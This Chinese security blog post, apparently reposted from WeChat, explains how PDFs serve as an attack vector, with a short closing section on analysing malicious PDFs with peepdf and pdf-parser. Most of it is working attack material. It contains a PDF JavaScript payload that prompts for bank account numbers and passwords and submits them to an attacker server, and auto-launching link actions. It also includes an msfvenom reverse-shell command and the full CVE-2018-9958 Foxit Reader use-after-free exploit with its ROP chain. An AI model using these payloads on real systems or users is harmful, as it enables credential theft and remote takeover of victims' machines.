PDF安全风险

admin 2023年12月8日10:16:52评论45 views字数 7407阅读24分41秒阅读模式

介绍

在研究如何使用 PDF 作为攻击向量时,我浏览了多个资源,这些资源为我提供了很多有价值的信息,但是如果不了解 PDF 结构将面临很多困难,我决定深入挖掘并学习其结构PDF 的研究,这启发了我如何使用 PDF 作为攻击向量,并对受害者执行多重攻击,产生巨大的子序列。

编写 PDF 文件

要编写 PDF 文件必须了解 PDF 结构,为此我建议阅读 让我们写一个PDF文件 通过简单的演练来了解 PDF 格式的基础知识。

          

PDF安全风险

          

              

PDF注入

弹出窗口(对话框)是 Acrobat 交互性的重要组成部分。弹出窗口向用户提供错误消息、警告和其他关键信息。他们询问用户问题并收集意见。Acrobat 具有多种类型的内置弹出窗口(警报、响应和文件打开)以及用于创建自定义对话框的功能。

将演示如何创建 PDF 注入的“警报(1)”以及如何改进它以注入可以窃取凭据并打开恶意链接的 JavaScript。

我们可以在 PDF 中注入代码,就像 JavaScript 函数调用中的 XSS 注入一样。在普通的 XSS 中,您需要确保语法正确且有效,同样的原则也适用于 PDF,只不过注入是在对象内部,例如 javascript、文本流或注释 URI。

跨站脚本攻击

为了执行 XSS,我们将有效负载注入 javascript 对象中,并确保括号正确闭合。您可以注意到,如果 PDF 正确渲染且没有任何错误,则注入成功。破解 PDF 固然很好,但我们当然需要确保我们可以执行 JavaScript。我通过向 PDF 文件注入 JavaScript 代码来启动 XSS 并弹出警报,如下所示。

警报箱

app.alert() 函数用于向受害者显示一个弹出框。

Plaintext                  
<<                  
/Type /Action                  
/S /JavaScript                  
/JS (app.alert('XSS');)                  
>>

当 PDF 文件打开时,将弹出警告框。

              

PDF安全风险

          

如果您发现手动注入脚本很困难,您可以使用 JS2PDF注入器 工具。

窃取凭证

大多数银行每月发送的对账单均受到客户帐户和密码的保护。如果客户是网络钓鱼攻击的受害者,则可能会受到网络钓鱼并窃取其凭据。

以下场景演示了攻击者如何窃取凭据并使用提交表单方法将其发送到他的服务器。

app.response() 的第一个参数是响应框正文中显示的文本。这是标准输入,但可以在不使用任何参数的情况下调用响应框,因为它始终显示文本输入框。如果用户按“确定”按钮退出对话框,则在此框中输入的文本将返回到帐户变量。如果他们按取消,帐户将为空,第二个参数也是如此。

在 cURL 变量中,添加攻击者服务器以及从受害者收集的帐户和密码,并使用 SubmitForm() 函数将其提交给攻击者。

Plaintext                  
<<                  
/Type /Action                  
/S /JavaScript                  
/JS                  
(                  
var account = app.response ({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"});                  
var password = app.response ({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"});                  
var cURL = "http://192.168.1.10:443" + "?" + "account=" + account + "&password=" + password;                  
this.submitForm({cURL: encodeURI(cURL), cSubmitAs: 'HTML'});                  
)                  
>>
       

          

PDF安全风险

          

          

PDF安全风险

          

              

PDF安全风险

          

打开恶意链接

攻击者可以在 PDF 中嵌入恶意链接,当受害者打开 PDF 时,会弹出安全警告消息,如果链接看起来合法,受害者可能会单击允许并打开恶意网站。

URI 方法允许在打开 PDF 时启动链接,攻击者可能会滥用该链接来启动恶意链接。

Plaintext                  
<<                  
/Type /Action                  
/S /URI                  
/URI (https://twitter.com/0xCyberY)                  
>>

可以使用 javascript 对象中的 app.launchURL() 函数来实现相同的效果。

Plaintext                  
<<                  
/Type /Action                  
/S /JavaScript                  
/JS                  
(                  
app.launchURL("https://twitter.com/0xCyberY", true);                  
)                  
>>

              

PDF安全风险

          

远程代码执行

使用过时版本的PDF阅读器或将可执行文件嵌入PDF可能会导致远程代码执行,为了演示,将使用Foxit Reader 9.0.1.1049来利用 CVE-2018-9958

1我们需要从exploit-db下载exploit。

1使用 生成可执行有效负载 msfvenom -p windows/shell_reverse_tcp -f exe LHOST=192.168.1.10 LPORT=443 -o shell.exe

1运行漏洞利用程序 python3 49116.py \\192.168.1.10\share\shell.exe remote_code_exe.pdf 来创建 PDF 文件。

此漏洞将创建一个嵌入了 JavaScript 有效负载的空 PDF,这对受害者来说看起来非常可疑,因为这会将脚本注入到非空 PDF 中,因此它不会是可疑的。

Plaintext                  
var heap_ptr   = 0;                  
var foxit_base = 0;                  
var pwn_array  = [];                  
                 
function prepare_heap(size){                  
    var arr = new Array(size);                  
    for(var i = 0; i < size; i++){                  
        arr[i] = this.addAnnot({type: "Text"});;                  
        if (typeof arr[i] == "object"){                  
            arr[i].destroy();                  
        }                  
    }                  
}                  
                 
function gc() {                  
    const maxMallocBytes = 128 * 0x100000;                  
    for (var i = 0; i < 3; i++) {                  
        var x = new ArrayBuffer(maxMallocBytes);                  
    }                  
}                  
                 
function alloc_at_leak(){                  
    for (var i = 0; i < 0x64; i++){                  
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));                  
    }                  
}                  
                 
function control_memory(){                  
    for (var i = 0; i < 0x64; i++){                  
        for (var j = 0; j < pwn_array[i].length; j++){                  
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4                  
        }                  
    }                  
}                  
                 
function leak_vtable(){                  
    var a = this.addAnnot({type: "Text"});                  
                 
    a.destroy();                  
    gc();                  
                 
    prepare_heap(0x400);                  
    var test = new ArrayBuffer(0x60);                  
    var stolen = new Int32Array(test);                  
                 
    var leaked = stolen[0] & 0xffff0000;                  
    foxit_base = leaked - 0x01f50000;                  
}                  
                 
function leak_heap_chunk(){                  
    var a = this.addAnnot({type: "Text"});                  
    a.destroy();                  
    prepare_heap(0x400);                  
                 
    var test = new ArrayBuffer(0x60);                  
    var stolen = new Int32Array(test);                  
                 
    alloc_at_leak();                  
    heap_ptr = stolen[1];                  
}                  
                 
function reclaim(){                  
    var arr = new Array(0x10);                  
    for (var i = 0; i < arr.length; i++) {                  
        arr[i] = new ArrayBuffer(0x60);                  
        var rop = new Int32Array(arr[i]);                  
                 
        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak                  
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret                  
        rop[0x02] = 0x72727272;              // junk                  
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret                  
        rop[0x04] = 0xffffffff;              // ret of WinExec                  
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret                  
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec                  
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret                  
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret                  
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret                  
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret                  
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret                  
                         
        //Path to executable                  
                 
        rop[0x0c] = 0x39315c5c;                  
        rop[0x0d] = 0x36312e32;                  
        rop[0x0e] = 0x2e312e38;                  
        rop[0x0f] = 0x735c3031;                  
        rop[0x10] = 0x65726168;                  
        rop[0x11] = 0x6568735c;                  
        rop[0x12] = 0x652e6c6c;                  
        rop[0x13] = 0x00006578;                  
        rop[0x14] = 0x00000000;                  
        rop[0x15] = 0x00000000;                  
        rop[0x16] = 0x00000000;                  
                         
        //End Path to executable                  
                 
        rop[0x17] = 0x00000000;              // adios, amigo                  
    }                  
}                  
                 
function trigger_uaf(){                  
    var that = this;                  
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});                  
    var arr = [1];                  
    Object.defineProperties(arr,{                  
        "0":{                  
            get: function () {                  
                 
                that.getAnnot(0, "uaf").destroy();                  
                 
                reclaim();                  
                return 1;                  
            }                  
        }                  
    });                  
                 
    a.point = arr;                  
}                  
                 
function main(){                  
    leak_heap_chunk();                  
    leak_vtable();                  
    control_memory();                  
    trigger_uaf();                  
}                  
                 
if (app.platform == "WIN"){                  
    if (app.isFoxit == "Foxit Reader"){                  
        if (app.appFoxitVersion == "9.0.1.1049"){                  
            main();                  
        }                  
    }                  
}
       

此代码可能与您的代码不同,因为可执行路径可能不同。

当PDF打开请求时,将发送执行共享SMB文件夹中的shell.exe文件,当shell.exe执行时,将向攻击者发送反向shell。

1将恶意 PDF 发送给受害者。

1设置 SMB 共享位于 shell.exe 的位置

1在端口 443 设置 netcat 侦听器。

1使用福昕阅读器打开 PDF。

          

PDF安全风险

          

          

PDF安全风险

          

注意:javascript 代码可以编码为十六进制示例:         
app.alert('XSS'); = <6170702e616c657274282758535327293b>

分析恶意 PDF

拥有红队技能,能够利用PDF多种技术发动攻击固然很好,但最好的是能像蓝队一样读懂团队技能,这样你就能发动攻击,知道防守技术,如何才能做到这一点。分析恶意文件。

本文将展示如何使用 peepdf、pdf-parser 和 pestudio 等工具分析 PDF。

peepdf

工具:https://github.com/jesparza/peepdf

让我们开始将bank_statment.pdf 文件作为恶意PDF 进行分析。

          

PDF安全风险

          

正如我们所看到的,对象 [3] 中有一个带有 javascript 代码的对象。

为了提取这个对象,我们可以使用另一个名为 pdf-parser 的工具。

pdf解析器

我们知道文件名和对象编号,因此将它们作为参数提供给 pdf-parser。

          

PDF安全风险

          

有很多参数需要您去发现,例如 -f 通过过滤器传递流对象, -d 将流内容转储到文件。

您可以获得本文中使用的所有 PDF https://github.com/0xCyberY/CVE-T4PDF


原文始发于微信公众号(暴暴的皮卡丘):PDF安全风险

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月8日10:16:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PDF安全风险http://cn-sec.com/archives/2278421.html

发表评论

匿名网友 填写信息